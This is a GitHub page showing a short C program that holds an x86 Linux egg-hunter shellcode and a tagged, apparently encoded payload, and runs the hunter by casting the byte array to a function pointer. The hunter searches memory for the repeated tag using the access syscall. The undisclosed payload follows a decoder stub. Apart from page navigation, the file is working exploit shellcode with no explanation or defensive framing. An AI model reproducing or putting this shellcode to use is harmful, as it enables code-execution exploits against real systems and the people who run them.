Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
22 lines (16 sloc) 763 Bytes
#include<stdio.h>
#include<string.h>
unsigned char hunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a"
"\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x11\x22\x33\x44"
"\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
unsigned char egg[] =
"\x11\x22\x33\x44"
"\x11\x22\x33\x44"
"\xdb\xdc\xbe\x1b\x04\x56\x33\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x0c\x31\x72\x18\x03\x72\x18\x83\xea\xe7\xe6\xa3\x59\x1c\xbf\xd2\xcc\x44\x57\xc8\x93\x01\x40\x7a\x7b\x62\xe7\x7b\xeb\xab\x95\x12\x85\x3a\xba\xb7\xb1\x36\x3d\x38\x42\x69\x5f\x51\x2c\x5a\xfd\xc0\xc3\xcc\x01\x54\x77\x85\xe3\x97\xf7";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Egg Length: %d\nHunting the egg...\n", strlen(egg));
int (*ret)() = (int(*)())hunter;
ret();
}